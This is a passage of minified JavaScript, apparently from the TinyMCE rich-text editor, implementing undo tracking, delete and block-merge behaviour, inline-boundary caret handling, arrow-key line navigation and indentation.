t=l,n=e;yh(s).undoManager.ignore(t,n)},extra:function(e,t){var n=d,r=f,o=e,i=t;yh(s).undoManager.extra(n,r,o,i)}};return hh(s)||(r=d,o=l,i=au(!1),(n=s).on("init",function(){r.add()}),n.on("BeforeExecCommand",function(e){gb(e.command)||(gh(r,o),r.beforeChange())}),n.on("ExecCommand",function(e){gb(e.command)||a(e)}),n.on("ObjectResizeStart cut",function(){r.beforeChange()}),n.on("SaveContent ObjectResized blur",a),n.on("dragend",a),n.on("keyup",function(e){var t=e.keyCode;e.isDefaultPrevented()||((33<=t&&t<=36||37<=t&&t<=40||45===t||e.ctrlKey)&&(a(),n.nodeChanged()),46!==t&&8!==t||n.nodeChanged(),i.get()&&r.typing&&!1===fh(uh(n),r.data[0])&&(!1===n.isDirty()&&(n.setDirty(!0),n.fire("change",{level:r.data[0],lastLevel:null})),n.fire("TypingUndo"),i.set(!1),n.nodeChanged()))}),n.on("keydown",function(e){var t,n=e.keyCode;e.isDefaultPrevented()||(33<=n&&n<=36||37<=n&&n<=40||45===n?r.typing&&a(e):(t=e.ctrlKey&&!e.altKey||e.metaKey,!(n<16||20<n)||224===n||91===n||r.typing||t||(r.beforeChange(),mh(r,!0,o),r.add({},e),i.set(!0))))}),n.on("mousedown",function(e){r.typing&&a(e)}),n.on("input",function(e){e.inputType&&("insertReplacementText"===e.inputType||"insertText"===e.inputType&&null===e.data||"insertFromPaste"===e.inputType||"insertFromDrop"===e.inputType)&&a(e)}),n.on("AddUndo Undo Redo ClearUndos",function(e){e.isDefaultPrevented()||n.nodeChanged()})),(e=s).addShortcut("meta+z","","Undo"),e.addShortcut("meta+y,meta+shift+z","","Redo"),d;function a(e){mh(r,!1,o),r.add({},e)}}function hb(e){return"keydown"===e.type||"keyup"===e.type}function vb(e){var t=e.keyCode;return t===If.BACKSPACE||t===If.DELETE}function bb(e,t){return ze(Et.fromDom(t),e.getParam("inline_boundaries_selector","a[href],code,.mce-annotation","string"))}function yb(e,t,n){var r,o,i=(r=e,o=t,U(eu.DOM.getParents(n.container(),"*",o),r));return ve.from(i[i.length-1])}function Cb(e,t){if(!t)return t;var n=t.container(),r=t.offset();return e?Ir(n)?Vn(n.nextSibling)?cs(n.nextSibling,0):cs.after(n):Ur(t)?cs(n,r+1):t:Ir(n)?Vn(n.previousSibling)?cs(n.previousSibling,n.previousSibling.data.length):cs.before(n):zr(t)?cs(n,r-1):t}function xb(e){return po(e)||vo(e)}function wb(e,t){return Ve(e,t)?hr(t,xb,(n=e,function(e){return je(n,Et.fromDom(e.dom.parentNode))})):ve.none();var n}function Sb(e){var t,n,r;e.dom.isEmpty(e.getBody())&&(e.setContent(""),r=(n=(t=e).getBody()).firstChild&&t.dom.isBlock(n.firstChild)?n.firstChild:n,t.selection.setCursorLocation(r,0))}function Nb(e,t){return{from:e,to:t}}function Eb(e,t){return wb(Et.fromDom(e),Et.fromDom(t.container())).map(function(e){return{block:e,position:t}})}function kb(e){var t,n=z(t=Tn(e),go).fold(J(t),function(e){return t.slice(0,e)});return Y(n,In),n}function _b(e,t){return M(ym(t,e).reverse(),function(e){return Kr(e)}).each(In)}function Ab(e,t,n,r){if(Kr(n))return hm(n),rf(n.dom);0===U(Lt(r),function(e){return!Kr(e)}).length&&Kr(t)&&qt(r,Et.fromTag("br"));var o=nf(n.dom,cs.before(r.dom));return Y(kb(t),function(e){qt(r,e)}),_b(e,t),o}function Rb(e,t,n){if(Kr(n))return In(n),Kr(t)&&hm(t),rf(t.dom);var r=of(n.dom);return Y(kb(t),function(e){Ln(n,e)}),_b(e,t),r}function Db(e,t){jc(e,t.dom).map(function(e){return e.getNode()}).map(Et.fromDom).filter(Pr).each(In)}function Tb(e,t,n){return Db(!0,t),Db(!1,n),(Ve(o=n,r=t)?(i=ym(r,o),ve.from(i[i.length-1])):ve.none()).fold(R(Rb,e,t,n),R(Ab,e,t,n));var r,o,i}function Ob(e,t,n,r){return t?Tb(e,r,n):Tb(e,n,r)}function Bb(t,n){var e,r,o,i,a,u,s,c=Et.fromDom(t.getBody()),l=(e=c.dom,r=n,((o=t.selection.getRng()).collapsed?(a=r,u=Eb(i=e,cs.fromRangeStart(o)),s=u.bind(function(e){return Zl(a,i,e.position).bind(function(e){return Eb(i,e).map(function(e){return t=i,n=a,Kn((r=e).position.getNode())&&!1===Kr(r.block)?jc(!1,r.block.dom).bind(function(e){return e.isEqual(r.position)?Zl(n,t,e).bind(function(e){return Eb(t,e)}):ve.some(r)}).getOr(r):r;var t,n,r})})}),dn(u,s,Nb).filter(function(e){return!1===je(e.from.block,e.to.block)&&Ot((n=e).from.block).bind(function(t){return Ot(n.to.block).filter(function(e){return je(t,e)})}).isSome()&&!1===Gn((t=e).from.block.dom)&&!1===Gn(t.to.block.dom);var t,n})):ve.none()).bind(function(e){return Ob(c,n,e.from.block,e.to.block)}));return l.each(function(e){t.selection.setRng(e.toRange())}),l.isSome()}function Pb(e,t){var n=Et.fromDom(t),r=R(je,e);return pr(n,yo,r).isSome()}function Lb(e){var n,r,o,t,i,a,u,s,c,l,f=Et.fromDom(e.getBody()),d=e.selection.getRng();return a=d,c=nf((i=f).dom,cs.fromRangeStart(a)).isNone(),l=tf(i.dom,cs.fromRangeEnd(a)).isNone(),!Pb(u=i,(s=a).startContainer)&&!Pb(u,s.endContainer)&&c&&l?((t=e).setContent(""),t.selection.setCursorLocation(),!0):(n=f,r=e.selection,o=r.getRng(),dn(wb(n,Et.fromDom(o.startContainer)),wb(n,Et.fromDom(o.endContainer)),function(e,t){return!1===je(e,t)&&(o.deleteContents(),Ob(n,!0,e,t).each(function(e){r.setRng(e.toRange())}),!0)}).getOr(!1))}function Ib(e,t){return!e.selection.isCollapsed()&&Lb(e)}function Mb(e,t,n,r,o){return ve.from(t._selectionOverrides.showCaret(e,n,r,o))}function Fb(e,t){var n,r;return e.fire("BeforeObjectSelected",{target:t}).isDefaultPrevented()?ve.none():ve.some(((r=(n=t).ownerDocument.createRange()).selectNode(n),r))}function Ub(e,t,n){var r=nc(1,e.getBody(),t),o=cs.fromRangeStart(r),i=o.getNode();if(Ec(i))return Mb(1,e,i,!o.isAtEnd(),!1);var a=o.getNode(!0);if(Ec(a))return Mb(1,e,a,!1,!1);var u=e.dom.getParent(o.getNode(),function(e){return Ly(e)||Py(e)});return Ec(u)?Mb(1,e,u,!1,n):ve.none()}function zb(e,t,n){return t.collapsed?Ub(e,t,n).getOr(t):t}function Hb(e){return rp(e)||Zg(e)}function jb(e){return op(e)||ep(e)}function Vb(n,r,e,t,o,i){var a,u;return Mb(t,n,i.getNode(!o),o,!0).each(function(e){var t;r.collapsed?(t=r.cloneRange(),o?t.setEnd(e.startContainer,e.startOffset):t.setStart(e.endContainer,e.endOffset),t.deleteContents()):r.deleteContents(),n.selection.setRng(e)}),a=n.dom,Vn(u=e)&&0===u.data.length&&a.remove(u),!0}function qb(e,t){var n=e.selection.getRng();if(!Vn(n.commonAncestorContainer))return!1;var r=t?sc.Forwards:sc.Backwards,o=Mc(e.getBody()),i=R(ac,t?o.next:o.prev),a=t?Hb:jb,u=oc(r,e.getBody(),n),s=Cb(t,i(u));if(!s||!uc(u,s))return!1;if(a(s))return Vb(e,n,u.getNode(),r,t,s);var c=i(s);return!!(c&&a(c)&&uc(s,c))&&Vb(e,n,u.getNode(),r,t,c)}function $b(l,f,d){return Zl(f,l,d).bind(function(e){return s=e.getNode(),yo(Et.fromDom(s))||vo(Et.fromDom(s))||(o=l,u=e,rc(!(i=f),a=d).fold(function(){return rc(i,u).fold(D,c)},c))?ve.none():f&&Gn(e.getNode())||!1===f&&Gn(e.getNode(!0))?(t=l,n=d,r=e.getNode(!1===f),wb(Et.fromDom(t),Et.fromDom(n.getNode())).map(function(e){return Kr(e)?Iy.remove(e.dom):Iy.moveToElement(r)}).orThunk(function(){return ve.some(Iy.moveToElement(r))})):f&&op(d)||!1===f&&rp(d)?ve.some(Iy.moveToPosition(e)):ve.none();var t,n,r,o,i,a,u,s;function c(e){return Br(Et.fromDom(e))&&!Qs(a,u,o)}})}function Wb(e,t){return ve.from(bf(e.getBody(),t))}function Kb(m,g){var e=m.selection.getNode();return Wb(m,e).filter(Gn).fold(function(){return s=m.getBody(),l=nc((c=g)?1:-1,s,m.selection.getRng()),f=cs.fromRangeStart(l),d=Et.fromDom(s),(!1===c&&op(f)?ve.some(Iy.remove(f.getNode(!0))):c&&rp(f)?ve.some(Iy.remove(f.getNode())):!1===c&&rp(f)&&_m(d,f)?cp(d,f).map(function(e){return Iy.remove(e.getNode())}):c&&op(f)&&km(d,f)?lp(d,f).map(function(e){return Iy.remove(e.getNode())}):(r=s,e=c,a=(o=f).getNode(!1===(i=e)),u=i?"after":"before",Hn(a)&&a.getAttribute("data-mce-caret")===u?(n=o.getNode(!1===(t=e)),(t&&Gn(n.nextSibling)?ve.some(Iy.moveToElement(n.nextSibling)):!1===t&&Gn(n.previousSibling)?ve.some(Iy.moveToElement(n.previousSibling)):ve.none()).fold(function(){return $b(r,e,o)},ve.some)):$b(r,e,o).bind(function(e){return t=r,n=o,e.fold(function(e){return ve.some(Iy.remove(e))},function(e){return ve.some(Iy.moveToElement(e))},function(e){return Qs(n,e,t)?ve.none():ve.some(Iy.moveToPosition(e))});var t,n}))).exists(function(e){return e.fold(function(e){return o._selectionOverrides.hideFakeCaret(),Qm(o,i,Et.fromDom(e)),!0},(r=i=g,function(e){var t=r?cs.before(e):cs.after(e);return n.selection.setRng(t.toRange()),!0}),(t=n=o=m,function(e){return t.selection.setRng(e.toRange()),!0}));var t,n,r,o,i});var r,e,o,t,n,i,a,u,s,c,l,f,d},w)}function Xb(e,t){var n=e.selection.getNode();return!(!Gn(n)||Jn(n))&&Wb(e,n.parentNode).filter(Gn).fold(function(){return Y(yu(Et.fromDom(e.getBody()),".mce-offscreen-selection"),In),Qm(e,t,Et.fromDom(e.selection.getNode())),Sb(e),!0},w)}function Yb(e){var t,n=e.dom,r=e.selection,o=bf(e.getBody(),r.getNode());return Yn(o)&&n.isBlock(o)&&n.isEmpty(o)&&(t=n.create("br",{"data-mce-bogus":"1"}),n.setHTML(o,""),o.appendChild(t),r.setRng(cs.before(t).toRange())),!0}function Gb(e,t){return(e.selection.isCollapsed()?Kb:Xb)(e,t)}function Jb(e,t){return!!e.selection.isCollapsed()&&(n=e,r=t,o=cs.fromRangeStart(n.selection.getRng()),Zl(r,n.getBody(),o).filter(function(e){return(r?Jg:Qg)(e)}).bind(function(e){return ve.from(Zs(r?0:-1,e))}).exists(function(e){return n.selection.select(e),!0}));var n,r,o}function Qb(e){return My(e)&&e.data[0]===So}function Zb(e){return My(e)&&e.data[e.data.length-1]===So}function ey(e){return e.ownerDocument.createTextNode(So)}function ty(e,t){return(e?function(e){if(My(e.previousSibling))return Zb(e.previousSibling)||e.previousSibling.appendData(So),e.previousSibling;if(My(e))return Qb(e)||e.insertData(0,So),e;var t=ey(e);return e.parentNode.insertBefore(t,e),t}:function(e){if(My(e.nextSibling))return Qb(e.nextSibling)||e.nextSibling.insertData(0,So),e.nextSibling;if(My(e))return Zb(e)||e.appendData(So),e;var t=ey(e);return e.nextSibling?e.parentNode.insertBefore(t,e.nextSibling):e.parentNode.appendChild(t),t})(t)}function ny(e,t){return Vn(e.container())?ty(t,e.container()):ty(t,e.getNode())}function ry(e,t){var n=t.get();return n&&e.container()===n&&Ir(n)}function oy(n,e){return e.fold(function(e){Cc(n.get());var t=Fy(e);return n.set(t),ve.some(cs(t,t.length-1))},function(e){return rf(e).map(function(e){if(ry(e,n))return cs(n.get(),1);Cc(n.get());var t=ny(e,!0);return n.set(t),cs(t,1)})},function(e){return of(e).map(function(e){if(ry(e,n))return cs(n.get(),n.get().length-1);Cc(n.get());var t=ny(e,!1);return n.set(t),cs(t,t.length-1)})},function(e){Cc(n.get());var t=Uy(e);return n.set(t),ve.some(cs(t,1))})}function iy(e,t){for(var n=0;n<e.length;n++){var r=e[n].apply(null,t);if(r.isSome())return r}return ve.none()}function ay(e,t){return Js(t,e)||e}function uy(e,t,n){var r=Oy(n),o=ay(t,r.container());return yb(e,o,r).fold(function(){return tf(o,r).bind(R(yb,e,o)).map(function(e){return zy.before(e)})},ve.none)}function sy(e,t){return null===qc(e,t)}function cy(e,t,n){return yb(e,t,n).filter(R(sy,t))}function ly(e,t,n){var r=By(n);return cy(e,t,r).bind(function(e){return nf(e,r).isNone()?ve.some(zy.start(e)):ve.none()})}function fy(e,t,n){var r=Oy(n);return cy(e,t,r).bind(function(e){return tf(e,r).isNone()?ve.some(zy.end(e)):ve.none()})}function dy(e,t,n){var r=By(n),o=ay(t,r.container());return yb(e,o,r).fold(function(){return nf(o,r).bind(R(yb,e,o)).map(function(e){return zy.after(e)})},ve.none)}function my(e){return!1===(t=Hy(e),"rtl"===eu.DOM.getStyle(t,"direction",!0)||(n=t.textContent,Ty.test(n)));var t,n}function gy(e,t,n){return iy([uy,ly,fy,dy],[e,t,n]).filter(my)}function py(e){return e.fold(J("before"),J("start"),J("end"),J("after"))}function hy(e){return e.fold(zy.before,zy.before,zy.after,zy.after)}function vy(e){return e.fold(zy.start,zy.start,zy.end,zy.end)}function by(a,e,u,t,n,s){return dn(yb(e,u,t),yb(e,u,n),function(e,t){return e!==t&&(r=t,o=Js(e,n=u),i=Js(r,n),o&&o===i)?zy.after(a?e:t):s;var n,r,o,i}).getOr(s)}function yy(e,r){return e.fold(w,function(e){return n=r,!(py(t=e)===py(n)&&Hy(t)===Hy(n));var t,n})}function Cy(e,t){return e?t.fold(i(ve.some,zy.start),ve.none,i(ve.some,zy.after),ve.none):t.fold(ve.none,i(ve.some,zy.before),ve.none,i(ve.some,zy.end))}function xy(e,a,u,s){var t=Cb(e,s),c=gy(a,u,t);return gy(a,u,t).bind(R(Cy,e)).orThunk(function(){return n=a,r=u,o=c,i=Cb(t=e,s),Zl(t,r,i).map(R(Cb,t)).fold(function(){return o.map(hy)},function(e){return gy(n,r,e).map(R(by,t,n,r,i,e)).filter(R(yy,o))}).filter(my);var t,n,r,o,i})}function wy(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];var r=window.console;r&&(r.error||r.log).apply(r,Ae([e],t,!1))}var Sy,Ny,Ey=function(t,e){var n=t.editorManager.baseURL+"/skins/content",r="content"+t.editorManager.suffix+".css",o=!0===t.inline;return A(e,function(e){return/^[a-z0-9\-]+$/i.test(e)&&!o?n+"/"+e+"/"+r:t.documentBaseURI.toAbsolute(e)})},ky=0,_y=Nt.each,Ay=eu.DOM,Ry=[9,27,If.HOME,If.END,19,20,44,144,145,33,34,45,16,17,18,91,92,93,If.DOWN,If.UP,If.LEFT,If.RIGHT].concat(xt.browser.isFirefox()?[224]:[]),Dy="data-mce-placeholder",Ty=/[\u0591-\u07FF\uFB1D-\uFDFF\uFE70-\uFEFC]/,Oy=R(Cb,!0),By=R(Cb,!1),Py=Yn,Ly=Gn,Iy=ir([{remove:["element"]},{moveToElement:["element"]},{moveToPosition:["position"]}]),My=Vn,Fy=R(ty,!0),Uy=R(ty,!1),zy=ir([{before:["element"]},{start:["element"]},{end:["element"]},{after:["element"]}]),Hy=function(e){return e.fold(u,u,u,u)};function jy(e,t,n){var r=e?1:-1;return t.setRng(cs(n.container(),n.offset()+r).toRange()),t.getSel().modify("move",e?"forward":"backward","word"),!0}function Vy(e,t){return e===sc.Backwards?q(t):t}function qy(e,t,n,r){for(var o,i,a,u,s=Mc(n),c=r,l=[];c;){var f=(a=s,u=c,t===sc.Forwards?a.next(u):a.prev(u));if(!f)break;if(Kn(f.getNode(!1)))return t===sc.Forwards?{positions:Vy(t,l).concat([f]),breakType:Sy.Br,breakAt:ve.some(f)}:{positions:Vy(t,l),breakType:Sy.Br,breakAt:ve.some(f)};if(f.isVisible()){if(e(c,f)){var d=(o=c,Kn((i=f).getNode(t===sc.Forwards))?Sy.Br:!1===Qs(o,i)?Sy.Block:Sy.Wrap);return{positions:Vy(t,l),breakType:d,breakAt:ve.some(f)}}l.push(f),c=f}else c=f}return{positions:Vy(t,l),breakType:Sy.Eol,breakAt:ve.none()}}function $y(n,r,o,e){return r(o,e).breakAt.map(function(e){var t=r(o,e).positions;return n===sc.Backwards?t.concat(e):[e].concat(t)}).getOr([])}function Wy(e,i){return L(e,function(e,o){return e.fold(function(){return ve.some(o)},function(r){return dn(Q(r.getClientRects()),Q(o.getClientRects()),function(e,t){var n=Math.abs(i-e.left);return Math.abs(i-t.left)<=n?o:r}).or(e)})},ve.none())}function Ky(t,e){return Q(e.getClientRects()).bind(function(e){return Wy(t,e.left)})}function Xy(n){function e(e){return A(e,function(e){var t=Ru(e);return t.node=n,t})}if(Hn(n))return e(n.getClientRects());if(Vn(n)){var t=n.ownerDocument.createRange();return t.setStart(n,0),t.setEnd(n,n.data.length),e(t.getClientRects())}}function Yy(e){return H(e,Xy)}R(xy,!1),R(xy,!0),(Ny=Sy={})[Ny.Br=0]="Br",Ny[Ny.Block=1]="Block",Ny[Ny.Wrap=2]="Wrap",Ny[Ny.Eol=3]="Eol";var Gy,Jy,Qy=R(qy,cs.isAbove,-1),Zy=R(qy,cs.isBelow,1),e0=R($y,-1,Qy),t0=R($y,1,Zy);function n0(o,i,a,e,u,t){function n(e){var t=Yy([e]);-1===o&&(t=t.reverse());for(var n=0;n<t.length;n++){var r=t[n];if(!a(r,l)){if(0<c.length&&i(r,pe(c))&&s++,r.line=s,u(r))return!0;c.push(r)}}}var s=0,c=[],l=pe(t.getClientRects());if(!l)return c;var r=t.getNode();return n(r),function(e,t,n,r){for(;r=Gs(r,e,qr,t);)if(n(r))return}(o,e,n,r),c}function r0(t){return function(e){return e.line>t}}function o0(t){return function(e){return e.line===t}}function i0(e,t){return Math.abs(e.left-t)}function a0(e,t){return Math.abs(e.right-t)}function u0(e,t){return e>=t.left&&e<=t.right}function s0(e,t){return e>=t.top&&e<=t.bottom}function c0(e,o,i){return void 0===i&&(i=w),me(e,function(e,t){if(u0(o,t))return i(t)?t:e;if(u0(o,e))return i(e)?e:t;var n=Math.min(i0(e,o),a0(e,o)),r=Math.min(i0(t,o),a0(t,o));return r===n&&se(t,"node")&&ZC(t.node)||r<n?t:e})}function l0(e,t,n,r,o){var i=e1(r,e,qr,t,!o);do{if(!i||n(i))return}while(i=e1(i,e,qr,t))}function f0(e,t,n){function r(e){return!cn(e.node)&&!Qn(e.node)}var o,i,a,u=Yy(U(xe(e.getElementsByTagName("*")),Xs)),s=U(u,R(s0,n));if((a=c0(s,t,r))&&((a=c0(function(e,r,t){function n(t,e){var n=U(Yy([e]),function(e){return!t(e,r)});return o=o.concat(n),0===n.length}void 0===t&&(t=!0);var o=[];return o.push(r),l0(Gy.Up,e,R(n,Ou),r.node,t),l0(Gy.Down,e,R(n,Bu),r.node,t),o}(e,a,r(a)),t,r))&&Xs(a.node)))return{node:(o=a).node,before:i0(o,i=t)<a0(o,i)};return null}function d0(e,t){e.selection.setRng(t),nd(e,e.selection.getRng())}function m0(e,t,n){return ve.some(zb(e,t,n))}function g0(e,t,n,r,o,i){var a=t===sc.Forwards,u=Mc(e.getBody()),s=R(ac,a?u.next:u.prev),c=a?r:o;if(!n.collapsed){var l=Lu(n);if(i(l))return Mb(t,e,l,t===sc.Backwards,!1)}var f=oc(t,e.getBody(),n);if(c(f))return Fb(e,f.getNode(!a));var d=Cb(a,s(f)),m=jr(n);if(!d)return m?ve.some(n):ve.none();if(c(d))return Mb(t,e,d.getNode(!a),a,!1);var g=s(d);return g&&c(g)&&uc(d,g)?Mb(t,e,g.getNode(!a),a,!1):m?m0(e,d.toRange(),!1):ve.none()}function p0(t,e,n,r,o,i){var a=oc(e,t.getBody(),n),u=pe(a.getClientRects()),s=e===Gy.Down;if(!u)return ve.none();var c,l=U((s?QC:JC)(t.getBody(),r0(1),a),o0(1)),f=u.left,d=c0(l,f);if(d&&i(d.node)){var m=Math.abs(f-d.left),g=Math.abs(f-d.right);return Mb(e,t,d.node,m<g,!1)}if(c=r(a)?a.getNode():o(a)?a.getNode(!0):Lu(n)){var p=function(e,t,n,r){function o(e){return pe(e.getClientRects())}var i,a,u,s=Mc(t),c=[],l=0,f=1===e?(i=s.next,a=Bu,u=Ou,cs.after(r)):(i=s.prev,a=Ou,u=Bu,cs.before(r)),d=o(f);do{if(f.isVisible()){var m=o(f);if(!u(m,d)){0<c.length&&a(m,pe(c))&&l++;var g=Ru(m);if(g.position=f,g.line=l,n(g))return c;c.push(g)}}}while(f=i(f));return c}(e,t.getBody(),r0(1),c),h=c0(U(p,o0(1)),f);if(h)return m0(t,h.position.toRange(),!1);if(h=pe(U(p,o0(0))))return m0(t,h.position.toRange(),!1)}return 0===l.length?t1(t,s).filter(s?o:r).map(function(e){return zb(t,e.toRange(),!1)}):ve.none()}function h0(t,e,n){return t1(t,e).filter(n).exists(function(e){return t.selection.setRng(e.toRange()),!0})}function v0(e,t){var n=e.dom.createRng();n.setStart(t.container(),t.offset()),n.setEnd(t.container(),t.offset()),e.selection.setRng(n)}function b0(e,t){e?t.setAttribute("data-mce-selected","inline-boundary"):t.removeAttribute("data-mce-selected")}function y0(t,e,n){return oy(e,n).map(function(e){return v0(t,e),n})}function C0(e,t,n){return!!Ms(e)&&(o=t,i=n,a=(r=e).getBody(),u=cs.fromRangeStart(r.selection.getRng()),xy(i,R(bb,r),a,u).bind(function(e){return y0(r,o,e)}).isSome());var r,o,i,a,u}function x0(e,t,n){return!!Ms(t)&&(r=e,i=(o=t).selection.getRng(),a=r?cs.fromRangeEnd(i):cs.fromRangeStart(i),!!y(o.selection.getSel().modify)&&(r&&Ur(a)?jy(!0,o.selection,a):!(r||!zr(a))&&jy(!1,o.selection,a)));var r,o,i,a}function w0(g){var p=au(null),h=R(bb,g);return g.on("NodeChange",function(e){var n,r,o,t,i,a,u,s,c,l,f,d,m;!Ms(g)||xt.browser.isIE()&&e.initial||(i=h,a=g.dom,u=e.parents,Y($(s=U(A(yu(Et.fromDom(a.getRoot()),'*[data-mce-selected="inline-boundary"]'),function(e){return e.dom}),i),c=U(u,i)),R(b0,!1)),Y($(c,s),R(b0,!0)),f=p,(l=g).selection.isCollapsed()&&!0!==l.composing&&f.get()&&(d=cs.fromRangeStart(l.selection.getRng()),cs.isTextPosition(d)&&!1===(Ur(m=d)||zr(m))&&(v0(l,qs(f.get(),d)),f.set(null))),n=h,r=g,o=p,t=e.parents,r.selection.isCollapsed()&&Y(U(t,n),function(e){var t=cs.fromRangeStart(r.selection.getRng());gy(n,r.getBody(),t).bind(function(e){return y0(r,o,e)})}))}),p}function S0(n,t,r){if(Ms(n)){var e=t1(n,t).getOrThunk(function(){var e=n.selection.getRng();return t?cs.fromRangeEnd(e):cs.fromRangeStart(e)});return gy(R(bb,n),n.getBody(),e).exists(function(e){var t=hy(e);return oy(r,t).exists(function(e){return v0(n,e),!0})})}return!1}function N0(t,n){return function(e){return oy(n,e).exists(function(e){return v0(t,e),!0})}}function E0(r,o,i,a){var u=r.getBody(),s=R(bb,r);r.undoManager.ignore(function(){var e,t,n;r.selection.setRng((e=i,t=a,(n=document.createRange()).setStart(e.container(),e.offset()),n.setEnd(t.container(),t.offset()),n)),r.execCommand("Delete"),gy(s,u,cs.fromRangeStart(r.selection.getRng())).map(vy).map(N0(r,o))}),r.nodeChanged()}function k0(e,t,n){if(e.selection.isCollapsed()&&Ms(e)){var r=cs.fromRangeStart(e.selection.getRng());return o=t,a=n,u=r,s=(i=e).getBody(),c=Js(u.container(),s)||s,l=R(bb,i),(f=gy(l,c,u)).bind(function(e){return a?e.fold(J(ve.some(vy(e))),ve.none,J(ve.some(hy(e))),ve.none):e.fold(ve.none,J(ve.some(hy(e))),ve.none,J(ve.some(vy(e))))}).map(N0(i,o)).getOrThunk(function(){var t=Hc(a,c,u),e=t.bind(function(e){return gy(l,c,e)});return dn(f,e,function(){return yb(l,c,u).exists(function(e){return!!dn(rf(o=e),of(o),function(e,t){var n=Cb(!0,e),r=Cb(!1,t);return tf(o,n).forall(function(e){return e.isEqual(r)})}).getOr(!0)&&(Qm(i,a,Et.fromDom(e)),!0);var o})}).orThunk(function(){return e.bind(function(e){return t.map(function(e){return a?E0(i,o,u,e):E0(i,o,e,u),!0})})}).getOr(!1)})}var i,o,a,u,s,c,l,f;return!1}function _0(e){return 1===zt(e)}function A0(g,p){var t,e=Et.fromDom(g.getBody()),n=Et.fromDom(g.selection.getStart()),h=U(z(t=ym(n,e),go).fold(J(t),function(e){return t.slice(0,e)}),_0);return Z(h).exists(function(e){var t,n,r,o,i,a,u,s,c,l=cs.fromRangeStart(g.selection.getRng()),f=p,d=l,m=e.dom;return!(!dn(rf(m),of(m),function(e,t){var n=Cb(!0,e),r=Cb(!1,t),o=Cb(!1,d);return f?tf(m,o).exists(function(e){return e.isEqual(r)&&d.isEqual(n)}):nf(m,o).exists(function(e){return e.isEqual(n)&&d.isEqual(r)})}).getOr(!0)||Vc((t=e).dom)&&Mg(t.dom)||(n=p,o=e,0===(c=A(U(h,R(Wg,r=g)),function(e){return e.dom})).length?Qm(r,n,o):(a=o.dom,s=Vg(c,(u=Ug(!1)).dom),qt(Et.fromDom(a),u),In(Et.fromDom(a)),i=cs(s,0),r.selection.setRng(i.toRange())),0))})}function R0(e,t){return!!e.selection.isCollapsed()&&A0(e,t)}function D0(e,t,n){return e._selectionOverrides.hideFakeCaret(),Qm(e,t,Et.fromDom(n)),!0}function T0(e,t){return e.selection.isCollapsed()?(i=e,u=(a=t)?Zg:ep,s=a?sc.Forwards:sc.Backwards,c=oc(s,i.getBody(),i.selection.getRng()),u(c)?D0(i,a,c.getNode(!a)):ve.from(Cb(a,c)).filter(function(e){return u(e)&&uc(c,e)}).exists(function(e){return D0(i,a,e.getNode(!a))})):(r=t,o=(n=e).selection.getNode(),!!Qn(o)&&D0(n,r,o));var n,r,o,i,a,u,s,c}function O0(e){var t=parseInt(e,10);return isNaN(t)?0:t}function B0(e,t){return(e||"table"===kt(t)?"margin":"padding")+("rtl"===wn(t,"direction")?"-right":"-left")}function P0(e){var n,t=o1(e);return!e.mode.isReadOnly()&&(1<t.length||(n=e,j(t,function(e){var t=Sn(e,B0(Os(n),e)).map(O0).getOr(0);return"false"!==n.dom.getContentEditable(e.dom)&&0<t})))}function L0(e){return ho(e)||vo(e)}function I0(e,s){var c=e.dom,t=e.selection,n=e.formatter,r=e.getParam("indentation","40px","string"),l=/[a-z%]+$/i.exec(r)[0],f=parseInt(r,10),d=Os(e),o=ks(e);e.queryCommandState("InsertUnorderedList")||e.queryCommandState("InsertOrderedList")||""!==o||c.getParent(t.getNode(),c.isBlock)||n.apply("div"),Y(o1(e),function(e){var t,n=c,r=s,o=f,i=l,a=e.dom,u=B0(d,Et.fromDom(a));"outdent"===r?(t=Math.max(0,O0(a.style[u])-o),n.setStyle(a,u,t?t+i:"")):(t=O0(a.style[u])+o+i,n.setStyle(a,u,t))})}function M0(e,t){if(e.selection.isCollapsed()&&P0(e)){var n=e.dom,r=e.selection.getRng(),o=cs.fromRangeStart(r),i=n.getParent(r.startContainer,n.isBlock);if(null!==i&&ip(Et.fromDom(i),o))return I0(e,"outdent"),!0}return!1}function F0(e,t){e.getDoc().execCommand(t,!1,null)}function U0(e){return void 0===e.touches||1!==e.touches.length?ve.none():ve.some(e.touches[0])}function z0(e,t){return Ee(e,t.nodeName)}function H0(e){var t,n,r,o=e.dom,i=e.selection,a=e.schema,u=a.getBlockElements(),s=i.getStart(),c=e.getBody(),l=ks(e);if(s&&Hn(s)&&l){var f=c.nodeName.toLowerCase();if(a.isValidChild(f,l.toLowerCase())&&(d=u,m=c,g=s,!F(bm(Et.fromDom(g),Et.fromDom(m)),function(e){return z0(d,e.dom)}))){for(var d,m,g,p,h,v=i.getRng(),b=v.startContainer,y=v.startOffset,C=v.endContainer,x=v.endOffset,w=Cd(e),s=c.firstChild;s;)p=u,Vn(h=s)||Hn(h)&&!z0(p,h)&&!Qc(h)?function(e,t){if(Vn(t)){if(0===t.nodeValue.length)return 1;if(/^\s+$/.test(t.nodeValue)&&(!t.nextSibling||z0(e,t.nextSibling)))return 1}}(u,s)?(s=(n=s).nextSibling,o.remove(n)):(t||(t=o.create(l,_s(e)),s.parentNode.insertBefore(t,s),r=!0),s=(n=s).nextSibling,t.appendChild(n)):(t=null,s=s.nextSibling);r&&w&&(v.setStart(b,y),v.setEnd(C,x),i.setRng(v),e.nodeChanged())}}}function j0(e,t){t.hasAttribute("data-mce-caret")&&(Hr(t),e.selection.setRng(e.selection.getRng()),e.selection.scrollIntoView(t))}function V0(e,t){var n=br(Et.fromDom(e.getBody()),"*[data-mce-caret]").map(function(e){return e.dom}).getOrNull();if(n)return"compositionstart"===t.type?(t.preventDefault(),t.stopPropagation(),void j0(e,n)):void(Fr(n)&&(j0(e,n),e.undoManager.add()))}function q0(e,t,n){var r,o,i,a=Mc(e.getBody()),u=R(ac,1===t?a.next:a.prev);!n.collapsed||""===ks(e)||(r=e.dom.getParent(n.startContainer,"PRE"))&&(u(cs.fromRangeStart(n))||(i=e.dom.create(ks(e)),(!xt.ie||11<=xt.ie)&&(i.innerHTML='<br data-mce-bogus="1">'),o=i,1===t?e.$(r).after(o):e.$(r).before(o),e.selection.select(o,!0),e.selection.collapse()))}function $0(t,e){return n=t,r=e?sc.Forwards:sc.Backwards,o=n.selection.getRng(),g0(n,r,o,rp,op,i1).orThunk(function(){return q0(n,r,o),ve.none()}).exists(function(e){return d0(t,e),!0});var n,r,o}function W0(t,e){return r=e?1:-1,o=(n=t).selection.getRng(),p0(n,r,o,function(e){return rp(e)||tp(e)},function(e){return op(e)||np(e)},i1).orThunk(function(){return q0(n,r,o),ve.none()}).exists(function(e){return d0(t,e),!0});var n,r,o}function 